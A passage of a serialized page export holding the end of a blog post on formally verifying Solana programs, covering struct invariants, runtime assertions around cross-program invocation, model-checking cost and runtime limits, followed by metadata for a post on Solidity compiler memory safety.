:233},{"type":23,"tag":213,"props":27980,"children":27981},{"style":230},[27982],{"type":28,"value":887},{"type":23,"tag":213,"props":27984,"children":27985},{"style":290},[27986],{"type":28,"value":21206},{"type":23,"tag":213,"props":27988,"children":27989},{"style":220},[27990],{"type":28,"value":2572},{"type":23,"tag":213,"props":27992,"children":27993},{"style":274},[27994],{"type":28,"value":9675},{"type":23,"tag":213,"props":27996,"children":27997},{"style":220},[27998],{"type":28,"value":9680},{"type":23,"tag":24,"props":28000,"children":28001},{},[28002,28004,28010,28012,28018],{"type":28,"value":28003},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":209,"props":28005,"children":28007},{"className":28006},[],[28008],{"type":28,"value":28009},"keys.len() == 0",{"type":28,"value":28011}," and allows us to prove the biconditional ",{"type":23,"tag":209,"props":28013,"children":28015},{"className":28014},[],[28016],{"type":28,"value":28017},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":124},{"type":23,"tag":9693,"props":28020,"children":28022},{"id":28021},"safety-guarantees",[28023],{"type":28,"value":22834},{"type":23,"tag":24,"props":28025,"children":28026},{},[28027],{"type":28,"value":28028},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":28030,"children":28031},{},[28032],{"type":28,"value":28033},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":28035,"children":28036},{},[28037,28039,28045],{"type":28,"value":28038},"In the multisig program this happens in the ",{"type":23,"tag":209,"props":28040,"children":28042},{"className":28041},[],[28043],{"type":28,"value":28044},"execute_transaction",{"type":28,"value":28046}," instruction.",{"type":23,"tag":24,"props":28048,"children":28049},{},[28050],{"type":23,"tag":87,"props":28051,"children":28052},{},[28053],{"type":28,"value":28054},"So what do you do?",{"type":23,"tag":24,"props":28056,"children":28057},{},[28058],{"type":28,"value":28059},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":202,"props":28061,"children":28063},{"code":28062,"language":205,"meta":7,"className":206,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[28064],{"type":23,"tag":209,"props":28065,"children":28066},{"__ignoreMap":7},[28067,28082,28098,28113,28154,28161,28168,28175,28192,28208,28229,28236,28243,28259,28279,28307,28314,28321,28328,28336,28389,28415,28422,28451,28475,28510,28517,28528],{"type":23,"tag":213,"props":28068,"children":28069},{"class":215,"line":216},[28070,28074,28078],{"type":23,"tag":213,"props":28071,"children":28072},{"style":220},[28073],{"type":28,"value":22887},{"type":23,"tag":213,"props":28075,"children":28076},{"style":290},[28077],{"type":28,"value":22892},{"type":23,"tag":213,"props":28079,"children":28080},{"style":220},[28081],{"type":28,"value":20313},{"type":23,"tag":213,"props":28083,"children":28084},{"class":215,"line":226},[28085,28089,28094],{"type":23,"tag":213,"props":28086,"children":28087},{"style":230},[28088],{"type":28,"value":233},{"type":23,"tag":213,"props":28090,"children":28091},{"style":290},[28092],{"type":28,"value":28093}," MyCtx",{"type":23,"tag":213,"props":28095,"children":28096},{"style":220},[28097],{"type":28,"value":1375},{"type":23,"tag":213,"props":28099,"children":28100},{"class":215,"line":524},[28101,28105,28109],{"type":23,"tag":213,"props":28102,"children":28103},{"style":220},[28104],{"type":28,"value":23177},{"type":23,"tag":213,"props":28106,"children":28107},{"style":230},[28108],{"type":28,"value":287},{"type":23,"tag":213,"props":28110,"children":28111},{"style":220},[28112],{"type":28,"value":20313},{"type":23,"tag":213,"props":28114,"children":28115},{"class":215,"line":533},[28116,28120,28125,28129,28133,28137,28141,28145,28150],{"type":23,"tag":213,"props":28117,"children":28118},{"style":230},[28119],{"type":28,"value":913},{"type":23,"tag":213,"props":28121,"children":28122},{"style":268},[28123],{"type":28,"value":28124}," my_account",{"type":23,"tag":213,"props":28126,"children":28127},{"style":274},[28128],{"type":28,"value":277},{"type":23,"tag":213,"props":28130,"children":28131},{"style":290},[28132],{"type":28,"value":23142},{"type":23,"tag":213,"props":28134,"children":28135},{"style":220},[28136],{"type":28,"value":358},{"type":23,"tag":213,"props":28138,"children":28139},{"style":290},[28140],{"type":28,"value":22976},{"type":23,"tag":213,"props":28142,"children":28143},{"style":220},[28144],{"type":28,"value":424},{"type":23,"tag":213,"props":28146,"children":28147},{"style":290},[28148],{"type":28,"value":28149},"Acc",{"type":23,"tag":213,"props":28151,"children":28152},{"style":220},[28153],{"type":28,"value":6084},{"type":23,"tag":213,"props":28155,"children":28156},{"class":215,"line":543},[28157],{"type":23,"tag":213,"props":28158,"children":28159},{"style":220},[28160],{"type":28,"value":1208},{"type":23,"tag":213,"props":28162,"children":28163},{"class":215,"line":551},[28164],{"type":23,"tag":213,"props":28165,"children":28166},{"emptyLinePlaceholder":18},[28167],{"type":28,"value":530},{"type":23,"tag":213,"props":28169,"children":28170},{"class":215,"line":570},[28171],{"type":23,"tag":213,"props":28172,"children":28173},{"style":220},[28174],{"type":28,"value":20824},{"type":23,"tag":213,"props":28176,"children":28177},{"class":215,"line":655},[28178,28183,28187],{"type":23,"tag":213,"props":28179,"children":28180},{"style":220},[28181],{"type":28,"value":28182},"#[invariant(bad ",{"type":23,"tag":213,"props":28184,"children":28185},{"style":274},[28186],{"type":28,"value":8660},{"type":23,"tag":213,"props":28188,"children":28189},{"style":220},[28190],{"type":28,"value":28191}," false)]\n",{"type":23,"tag":213,"props":28193,"children":28194},{"class":215,"line":1176},[28195,28199,28204],{"type":23,"tag":213,"props":28196,"children":28197},{"style":230},[28198],{"type":28,"value":9486},{"type":23,"tag":213,"props":28200,"children":28201},{"style":290},[28202],{"type":28,"value":28203}," Acc",{"type":23,"tag":213,"props":28205,"children":28206},{"style":220},[28207],{"type":28,"value":1375},{"type":23,"tag":213,"props":28209,"children":28210},{"class":215,"line":1202},[28211,28215,28220,28224],{"type":23,"tag":213,"props":28212,"children":28213},{"style":230},[28214],{"type":28,"value":913},{"type":23,"tag":213,"props":28216,"children":28217},{"style":268},[28218],{"type":28,"value":28219}," bad",{"type":23,"tag":213,"props":28221,"children":28222},{"style":274},[28223],{"type":28,"value":277},{"type":23,"tag":213,"props":28225,"children":28226},{"style":290},[28227],{"type":28,"value":28228}," bool\n",{"type":23,"tag":213,"props":28230,"children":28231},{"class":215,"line":1758},[28232],{"type":23,"tag":213,"props":28233,"children":28234},{"style":220},[28235],{"type":28,"value":1208},{"type":23,"tag":213,"props":28237,"children":28238},{"class":215,"line":1767},[28239],{"type":23,"tag":213,"props":28240,"children":28241},{"emptyLinePlaceholder":18},[28242],{"type":28,"value":530},{"type":23,"tag":213,"props":28244,"children":28245},{"class":215,"line":1789},[28246,28251,28255],{"type":23,"tag":213,"props":28247,"children":28248},{"style":230},[28249],{"type":28,"value":28250},"impl",{"type":23,"tag":213,"props":28252,"children":28253},{"style":290},[28254],{"type":28,"value":28203},{"type":23,"tag":213,"props":28256,"children":28257},{"style":220},[28258],{"type":28,"value":1375},{"type":23,"tag":213,"props":28260,"children":28261},{"class":215,"line":1812},[28262,28266,28270,28275],{"type":23,"tag":213,"props":28263,"children":28264},{"style":230},[28265],{"type":28,"value":913},{"type":23,"tag":213,"props":28267,"children":28268},{"style":230},[28269],{"type":28,"value":254},{"type":23,"tag":213,"props":28271,"children":28272},{"style":257},[28273],{"type":28,"value":28274}," put_into_bad_state",{"type":23,"tag":213,"props":28276,"children":28277},{"style":220},[28278],{"type":28,"value":15791},{"type":23,"tag":213,"props":28280,"children":28281},{"class":215,"line":1838},[28282,28286,28290,28295,28299,28303],{"type":23,"tag":213,"props":28283,"children":28284},{"style":230},[28285],{"type":28,"value":27415},{"type":23,"tag":213,"props":28287,"children":28288},{"style":274},[28289],{"type":28,"value":124},{"type":23,"tag":213,"props":28291,"children":28292},{"style":220},[28293],{"type":28,"value":28294},"bad ",{"type":23,"tag":213,"props":28296,"children":28297},{"style":274},[28298],{"type":28,"value":3190},{"type":23,"tag":213,"props":28300,"children":28301},{"style":230},[28302],{"type":28,"value":12551},{"type":23,"tag":213,"props":28304,"children":28305},{"style":220},[28306],{"type":28,"value":313},{"type":23,"tag":213,"props":28308,"children":28309},{"class":215,"line":1851},[28310],{"type":23,"tag":213,"props":28311,"children":28312},{"style":220},[28313],{"type":28,"value":2875},{"type":23,"tag":213,"props":28315,"children":28316},{"class":215,"line":1864},[28317],{"type":23,"tag":213,"props":28318,"children":28319},{"style":220},[28320],{"type":28,"value":1208},{"type":23,"tag":213,"props":28322,"children":28323},{"class":215,"line":1890},[28324],{"type":23,"tag":213,"props":28325,"children":28326},{"emptyLinePlaceholder":18},[28327],{"type":28,"value":530},{"type":23,"tag":213,"props":28329,"children":28330},{"class":215,"line":1899},[28331],{"type":23,"tag":213,"props":28332,"children":28333},{"style":537},[28334],{"type":28,"value":28335},"// Instruction handler:\n",{"type":23,"tag":213,"props":28337,"children":28338},{"class":215,"line":1912},[28339,28343,28348,28352,28356,28360,28364,28368,28373,28377,28381,28385],{"type":23,"tag":213,"props":28340,"children":28341},{"style":230},[28342],{"type":28,"value":20321},{"type":23,"tag":213,"props":28344,"children":28345},{"style":257},[28346],{"type":28,"value":28347}," hard_to_verify",{"type":23,"tag":213,"props":28349,"children":28350},{"style":220},[28351],{"type":28,"value":265},{"type":23,"tag":213,"props":28353,"children":28354},{"style":268},[28355],{"type":28,"value":20335},{"type":23,"tag":213,"props":28357,"children":28358},{"style":274},[28359],{"type":28,"value":277},{"type":23,"tag":213,"props":28361,"children":28362},{"style":290},[28363],{"type":28,"value":20344},{"type":23,"tag":213,"props":28365,"children":28366},{"style":220},[28367],{"type":28,"value":434},{"type":23,"tag":213,"props":28369,"children":28370},{"style":290},[28371],{"type":28,"value":28372},"MyCtx",{"type":23,"tag":213,"props":28374,"children":28375},{"style":220},[28376],{"type":28,"value":20500},{"type":23,"tag":213,"props":28378,"children":28379},{"style":274},[28380],{"type":28,"value":303},{"type":23,"tag":213,"props":28382,"children":28383},{"style":290},[28384],{"type":28,"value":13838},{"type":23,"tag":213,"props":28386,"children":28387},{"style":220},[28388],{"type":28,"value":20386},{"type":23,"tag":213,"props":28390,"children":28391},{"class":215,"line":1921},[28392,28397,28401,28405,28410],{"type":23,"tag":213,"props":28393,"children":28394},{"style":257},[28395],{"type":28,"value":28396}," invoke_signed",{"type":23,"tag":213,"props":28398,"children":28399},{"style":220},[28400],{"type":28,"value":265},{"type":23,"tag":213,"props":28402,"children":28403},{"style":274},[28404],{"type":28,"value":9675},{"type":23,"tag":213,"props":28406,"children":28407},{"style":220},[28408],{"type":28,"value":28409},"); ",{"type":23,"tag":213,"props":28411,"children":28412},{"style":537},[28413],{"type":28,"value":28414},"// Cross-program invocation\n",{"type":23,"tag":213,"props":28416,"children":28417},{"class":215,"line":3879},[28418],{"type":23,"tag":213,"props":28419,"children":28420},{"emptyLinePlaceholder":18},[28421],{"type":28,"value":530},{"type":23,"tag":213,"props":28423,"children":28424},{"class":215,"line":3887},[28425,28429,28434,28438,28442,28446],{"type":23,"tag":213,"props":28426,"children":28427},{"style":230},[28428],{"type":28,"value":487},{"type":23,"tag":213,"props":28430,"children":28431},{"style":268},[28432],{"type":28,"value":28433}," invoke_res",{"type":23,"tag":213,"props":28435,"children":28436},{"style":274},[28437],{"type":28,"value":511},{"type":23,"tag":213,"props":28439,"children":28440},{"style":274},[28441],{"type":28,"value":25358},{"type":23,"tag":213,"props":28443,"children":28444},{"style":220},[28445],{"type":28,"value":17277},{"type":23,"tag":213,"props":28447,"children":28448},{"style":537},[28449],{"type":28,"value":28450},"// fetch result of invocation\n",{"type":23,"tag":213,"props":28452,"children":28453},{"class":215,"line":3918},[28454,28458,28462,28466,28471],{"type":23,"tag":213,"props":28455,"children":28456},{"style":1362},[28457],{"type":28,"value":2653},{"type":23,"tag":213,"props":28459,"children":28460},{"style":268},[28461],{"type":28,"value":28433},{"type":23,"tag":213,"props":28463,"children":28464},{"style":274},[28465],{"type":28,"value":3379},{"type":23,"tag":213,"props":28467,"children":28468},{"style":514},[28469],{"type":28,"value":28470}," 5",{"type":23,"tag":213,"props":28472,"children":28473},{"style":220},[28474],{"type":28,"value":1375},{"type":23,"tag":213,"props":28476,"children":28477},{"class":215,"line":3926},[28478,28482,28486,28491,28495,28500,28505],{"type":23,"tag":213,"props":28479,"children":28480},{"style":268},[28481],{"type":28,"value":26241},{"type":23,"tag":213,"props":28483,"children":28484},{"style":274},[28485],{"type":28,"value":124},{"type":23,"tag":213,"props":28487,"children":28488},{"style":220},[28489],{"type":28,"value":28490},"my_account",{"type":23,"tag":213,"props":28492,"children":28493},{"style":274},[28494],{"type":28,"value":124},{"type":23,"tag":213,"props":28496,"children":28497},{"style":257},[28498],{"type":28,"value":28499},"put_into_bad_state",{"type":23,"tag":213,"props":28501,"children":28502},{"style":220},[28503],{"type":28,"value":28504},"(); ",{"type":23,"tag":213,"props":28506,"children":28507},{"style":537},[28508],{"type":28,"value":28509},"// corrupt our account\n",{"type":23,"tag":213,"props":28511,"children":28512},{"class":215,"line":3986},[28513],{"type":23,"tag":213,"props":28514,"children":28515},{"style":220},[28516],{"type":28,"value":2875},{"type":23,"tag":213,"props":28518,"children":28519},{"class":215,"line":9132},[28520,28524],{"type":23,"tag":213,"props":28521,"children":28522},{"style":290},[28523],{"type":28,"value":14407},{"type":23,"tag":213,"props":28525,"children":28526},{"style":220},[28527],{"type":28,"value":14412},{"type":23,"tag":213,"props":28529,"children":28530},{"class":215,"line":9150},[28531],{"type":23,"tag":213,"props":28532,"children":28533},{"style":220},[28534],{"type":28,"value":1208},{"type":23,"tag":24,"props":28536,"children":28537},{},[28538,28540,28545],{"type":28,"value":28539},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":209,"props":28541,"children":28543},{"className":28542},[],[28544],{"type":28,"value":28490},{"type":28,"value":28546},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":28548,"children":28549},{},[28550],{"type":28,"value":28551},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":28553,"children":28554},{},[28555,28557,28562],{"type":28,"value":28556},"However, we can ",{"type":23,"tag":87,"props":28558,"children":28559},{},[28560],{"type":28,"value":28561},"augment",{"type":28,"value":28563}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":28565,"children":28566},{},[28567],{"type":28,"value":28568},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":202,"props":28570,"children":28572},{"code":28571,"language":205,"meta":7,"className":206,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[28573],{"type":23,"tag":209,"props":28574,"children":28575},{"__ignoreMap":7},[28576,28584,28635,28658,28665,28692,28715,28746,28753,28760,28768,28803,28810,28821],{"type":23,"tag":213,"props":28577,"children":28578},{"class":215,"line":216},[28579],{"type":23,"tag":213,"props":28580,"children":28581},{"style":274},[28582],{"type":28,"value":28583},"...\n",{"type":23,"tag":213,"props":28585,"children":28586},{"class":215,"line":226},[28587,28591,28595,28599,28603,28607,28611,28615,28619,28623,28627,28631],{"type":23,"tag":213,"props":28588,"children":28589},{"style":230},[28590],{"type":28,"value":20321},{"type":23,"tag":213,"props":28592,"children":28593},{"style":257},[28594],{"type":28,"value":28347},{"type":23,"tag":213,"props":28596,"children":28597},{"style":220},[28598],{"type":28,"value":265},{"type":23,"tag":213,"props":28600,"children":28601},{"style":268},[28602],{"type":28,"value":20335},{"type":23,"tag":213,"props":28604,"children":28605},{"style":274},[28606],{"type":28,"value":277},{"type":23,"tag":213,"props":28608,"children":28609},{"style":290},[28610],{"type":28,"value":20344},{"type":23,"tag":213,"props":28612,"children":28613},{"style":220},[28614],{"type":28,"value":434},{"type":23,"tag":213,"props":28616,"children":28617},{"style":290},[28618],{"type":28,"value":28372},{"type":23,"tag":213,"props":28620,"children":28621},{"style":220},[28622],{"type":28,"value":20500},{"type":23,"tag":213,"props":28624,"children":28625},{"style":274},[28626],{"type":28,"value":303},{"type":23,"tag":213,"props":28628,"children":28629},{"style":290},[28630],{"type":28,"value":13838},{"type":23,"tag":213,"props":28632,"children":28633},{"style":220},[28634],{"type":28,"value":20386},{"type":23,"tag":213,"props":28636,"children":28637},{"class":215,"line":524},[28638,28642,28646,28650,28654],{"type":23,"tag":213,"props":28639,"children":28640},{"style":257},[28641],{"type":28,"value":28396},{"type":23,"tag":213,"props":28643,"children":28644},{"style":220},[28645],{"type":28,"value":265},{"type":23,"tag":213,"props":28647,"children":28648},{"style":274},[28649],{"type":28,"value":9675},{"type":23,"tag":213,"props":28651,"children":28652},{"style":220},[28653],{"type":28,"value":28409},{"type":23,"tag":213,"props":28655,"children":28656},{"style":537},[28657],{"type":28,"value":28414},{"type":23,"tag":213,"props":28659,"children":28660},{"class":215,"line":533},[28661],{"type":23,"tag":213,"props":28662,"children":28663},{"emptyLinePlaceholder":18},[28664],{"type":28,"value":530},{"type":23,"tag":213,"props":28666,"children":28667},{"class":215,"line":543},[28668,28672,28676,28680,28684,28688],{"type":23,"tag":213,"props":28669,"children":28670},{"style":230},[28671],{"type":28,"value":487},{"type":23,"tag":213,"props":28673,"children":28674},{"style":268},[28675],{"type":28,"value":28433},{"type":23,"tag":213,"props":28677,"children":28678},{"style":274},[28679],{"type":28,"value":511},{"type":23,"tag":213,"props":28681,"children":28682},{"style":274},[28683],{"type":28,"value":25358},{"type":23,"tag":213,"props":28685,"children":28686},{"style":220},[28687],{"type":28,"value":17277},{"type":23,"tag":213,"props":28689,"children":28690},{"style":537},[28691],{"type":28,"value":28450},{"type":23,"tag":213,"props":28693,"children":28694},{"class":215,"line":551},[28695,28699,28703,28707,28711],{"type":23,"tag":213,"props":28696,"children":28697},{"style":1362},[28698],{"type":28,"value":2653},{"type":23,"tag":213,"props":28700,"children":28701},{"style":268},[28702],{"type":28,"value":28433},{"type":23,"tag":213,"props":28704,"children":28705},{"style":274},[28706],{"type":28,"value":3379},{"type":23,"tag":213,"props":28708,"children":28709},{"style":514},[28710],{"type":28,"value":28470},{"type":23,"tag":213,"props":28712,"children":28713},{"style":220},[28714],{"type":28,"value":1375},{"type":23,"tag":213,"props":28716,"children":28717},{"class":215,"line":570},[28718,28722,28726,28730,28734,28738,28742],{"type":23,"tag":213,"props":28719,"children":28720},{"style":268},[28721],{"type":28,"value":26241},{"type":23,"tag":213,"props":28723,"children":28724},{"style":274},[28725],{"type":28,"value":124},{"type":23,"tag":213,"props":28727,"children":28728},{"style":220},[28729],{"type":28,"value":28490},{"type":23,"tag":213,"props":28731,"children":28732},{"style":274},[28733],{"type":28,"value":124},{"type":23,"tag":213,"props":28735,"children":28736},{"style":257},[28737],{"type":28,"value":28499},{"type":23,"tag":213,"props":28739,"children":28740},{"style":220},[28741],{"type":28,"value":28504},{"type":23,"tag":213,"props":28743,"children":28744},{"style":537},[28745],{"type":28,"value":28509},{"type":23,"tag":213,"props":28747,"children":28748},{"class":215,"line":655},[28749],{"type":23,"tag":213,"props":28750,"children":28751},{"style":220},[28752],{"type":28,"value":2875},{"type":23,"tag":213,"props":28754,"children":28755},{"class":215,"line":1176},[28756],{"type":23,"tag":213,"props":28757,"children":28758},{"emptyLinePlaceholder":18},[28759],{"type":28,"value":530},{"type":23,"tag":213,"props":28761,"children":28762},{"class":215,"line":1202},[28763],{"type":23,"tag":213,"props":28764,"children":28765},{"style":537},[28766],{"type":28,"value":28767}," // Enforce invariants at runtime\n",{"type":23,"tag":213,"props":28769,"children":28770},{"class":215,"line":1758},[28771,28775,28779,28783,28787,28791,28795,28799],{"type":23,"tag":213,"props":28772,"children":28773},{"style":257},[28774],{"type":28,"value":19293},{"type":23,"tag":213,"props":28776,"children":28777},{"style":220},[28778],{"type":28,"value":265},{"type":23,"tag":213,"props":28780,"children":28781},{"style":268},[28782],{"type":28,"value":20335},{"type":23,"tag":213,"props":28784,"children":28785},{"style":274},[28786],{"type":28,"value":124},{"type":23,"tag":213,"props":28788,"children":28789},{"style":220},[28790],{"type":28,"value":28490},{"type":23,"tag":213,"props":28792,"children":28793},{"style":274},[28794],{"type":28,"value":124},{"type":23,"tag":213,"props":28796,"children":28797},{"style":257},[28798],{"type":28,"value":21827},{"type":23,"tag":213,"props":28800,"children":28801},{"style":220},[28802],{"type":28,"value":15484},{"type":23,"tag":213,"props":28804,"children":28805},{"class":215,"line":1767},[28806],{"type":23,"tag":213,"props":28807,"children":28808},{"emptyLinePlaceholder":18},[28809],{"type":28,"value":530},{"type":23,"tag":213,"props":28811,"children":28812},{"class":215,"line":1789},[28813,28817],{"type":23,"tag":213,"props":28814,"children":28815},{"style":290},[28816],{"type":28,"value":14407},{"type":23,"tag":213,"props":28818,"children":28819},{"style":220},[28820],{"type":28,"value":14412},{"type":23,"tag":213,"props":28822,"children":28823},{"class":215,"line":1812},[28824],{"type":23,"tag":213,"props":28825,"children":28826},{"style":220},[28827],{"type":28,"value":1208},{"type":23,"tag":24,"props":28829,"children":28830},{},[28831,28833,28838,28840,28845,28847,28852],{"type":28,"value":28832},"Here, we explicitly ",{"type":23,"tag":209,"props":28834,"children":28836},{"className":28835},[],[28837],{"type":28,"value":20038},{"type":28,"value":28839}," that our invariants hold at ",{"type":23,"tag":87,"props":28841,"children":28842},{},[28843],{"type":28,"value":28844},"runtime",{"type":28,"value":28846}," which allows us to be assured that ",{"type":23,"tag":209,"props":28848,"children":28850},{"className":28849},[],[28851],{"type":28,"value":28490},{"type":28,"value":28853}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":28855,"children":28856},{},[28857],{"type":28,"value":28858},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":47,"props":28860,"children":28862},{"id":28861},"challenges-of-formal-verification-on-solana",[28863],{"type":28,"value":28864},"Challenges of formal verification on Solana",{"type":23,"tag":9693,"props":28866,"children":28868},{"id":28867},"expensive-computation",[28869],{"type":28,"value":28870},"Expensive computation",{"type":23,"tag":24,"props":28872,"children":28873},{},[28874,28876,28881],{"type":28,"value":28875},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":87,"props":28877,"children":28878},{},[28879],{"type":28,"value":28880},"path explosion",{"type":28,"value":28882},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":28884,"children":28885},{},[28886,28888,28893],{"type":28,"value":28887},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":87,"props":28889,"children":28890},{},[28891],{"type":28,"value":28892},"formal verification friendly",{"type":28,"value":28894},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":28896,"children":28897},{},[28898,28900,28905,28907,28912],{"type":28,"value":28899},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":209,"props":28901,"children":28903},{"className":28902},[],[28904],{"type":28,"value":1532},{"type":28,"value":28906}," in a ",{"type":23,"tag":209,"props":28908,"children":28910},{"className":28909},[],[28911],{"type":28,"value":429},{"type":28,"value":28913},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":28915,"children":28916},{},[28917,28919,28924,28926,28931,28933,28938,28940,28945,28947,28952,28954,28959],{"type":28,"value":28918},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":209,"props":28920,"children":28922},{"className":28921},[],[28923],{"type":28,"value":429},{"type":28,"value":28925}," or a 32-byte ",{"type":23,"tag":209,"props":28927,"children":28929},{"className":28928},[],[28930],{"type":28,"value":1532},{"type":28,"value":28932},". Instead, our tool can substitute in ",{"type":23,"tag":87,"props":28934,"children":28935},{},[28936],{"type":28,"value":28937},"cheaper",{"type":28,"value":28939}," types and functions, such as a 4-byte ",{"type":23,"tag":209,"props":28941,"children":28943},{"className":28942},[],[28944],{"type":28,"value":1532},{"type":28,"value":28946}," struct and a fixed-size, array-backed ",{"type":23,"tag":209,"props":28948,"children":28950},{"className":28949},[],[28951],{"type":28,"value":429},{"type":28,"value":28953}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":87,"props":28955,"children":28956},{},[28957],{"type":28,"value":28958},"much",{"type":28,"value":28960}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":28962,"children":28963},{},[28964],{"type":28,"value":28965},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":9693,"props":28967,"children":28969},{"id":28968},"runtime-environment",[28970],{"type":28,"value":28971},"Runtime Environment",{"type":23,"tag":24,"props":28973,"children":28974},{},[28975],{"type":28,"value":28976},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":28978,"children":28979},{},[28980],{"type":28,"value":28981},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":28983,"children":28984},{},[28985],{"type":28,"value":28986},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":47,"props":28988,"children":28990},{"id":28989},"conclusion",[28991],{"type":28,"value":19000},{"type":23,"tag":24,"props":28993,"children":28994},{},[28995],{"type":28,"value":28996},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":28998,"children":28999},{},[29000],{"type":28,"value":29001},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":18845,"props":29003,"children":29004},{},[],{"type":23,"tag":24,"props":29006,"children":29007},{},[29008],{"type":23,"tag":87,"props":29009,"children":29010},{},[29011,29013,29018,29019,29023],{"type":28,"value":29012},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":36,"props":29014,"children":29016},{"href":18928,"rel":29015},[40],[29017],{"type":28,"value":18932},{"type":28,"value":18934},{"type":23,"tag":36,"props":29020,"children":29021},{"href":18937},[29022],{"type":28,"value":18940},{"type":28,"value":124},{"type":23,"tag":2957,"props":29025,"children":29026},{},[29027],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":29029},[29030,29036,29040,29045,29051,29055],{"id":19003,"depth":226,"text":19006,"children":29031},[29032,29033,29034,29035],{"id":19009,"depth":524,"text":19012},{"id":19077,"depth":524,"text":19080},{"id":19958,"depth":524,"text":19961},{"id":19998,"depth":524,"text":20001},{"id":20051,"depth":226,"text":29037,"children":29038},"Specification: How can we describe what we want our program to do?",[29039],{"id":20165,"depth":524,"text":20168},{"id":21519,"depth":226,"text":21522,"children":29041},[29042,29043,29044],{"id":22196,"depth":524,"text":22199},{"id":22481,"depth":524,"text":22484},{"id":22625,"depth":524,"text":22628},{"id":22766,"depth":226,"text":22769,"children":29046},[29047,29048,29049,29050],{"id":22837,"depth":524,"text":22840},{"id":24697,"depth":524,"text":24700},{"id":25495,"depth":524,"text":22829},{"id":28021,"depth":524,"text":22834},{"id":28861,"depth":226,"text":28864,"children":29052},[29053,29054],{"id":28867,"depth":524,"text":28870},{"id":28968,"depth":524,"text":28971},{"id":28989,"depth":226,"text":19000},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":29060,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29061,"description":29062,"author":5813,"image":29063,"date":29065,"isFeatured":18,"onBlogPage":18,"tags":29066,"body":29068,"_type":2967,"_id":30485,"_source":2969,"_file":30486,"_stem":30487,"_extension":2972},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe 